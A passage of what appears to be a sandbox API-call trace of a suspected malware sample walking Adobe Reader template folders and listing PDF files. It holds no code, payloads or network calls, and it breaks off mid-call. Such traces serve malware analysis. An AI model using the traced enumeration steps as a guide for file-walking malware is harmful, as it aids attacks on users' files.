fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.375] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.376] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.376] NtClose (Handle=0x168) returned 0x0 [0081.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.377] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.377] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.377] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x161fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201af8 [0081.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263da0 [0081.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.379] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201b18 [0081.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263ea8 [0081.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.380] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.380] GetLastError () returned 0x12 [0081.380] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.380] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.380] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.380] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x161fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.380] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.380] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.380] GetLastError () returned 0x12 [0081.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.381] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.381] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0081.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.382] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.383] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.383] NtClose (Handle=0x178) returned 0x0 [0081.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.384] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.384] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.384] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6133, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201b38 [0081.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263fb0 [0081.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.386] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201b58 [0081.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12640b8 [0081.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.387] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.387] GetLastError () returned 0x12 [0081.387] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.387] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6133, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.387] GetLastError () returned 0x12 [0081.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.387] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.388] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0081.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.388] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.389] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.389] NtClose (Handle=0x168) returned 0x0 [0081.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.390] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.390] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.390] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201b78 [0081.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12641c0 [0081.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6780) returned 0x126d560 [0081.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0081.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.392] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x102c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201b98 [0081.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12642c8 [0081.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.393] FindNextFileW (in: hFindFile=0x2e9040, 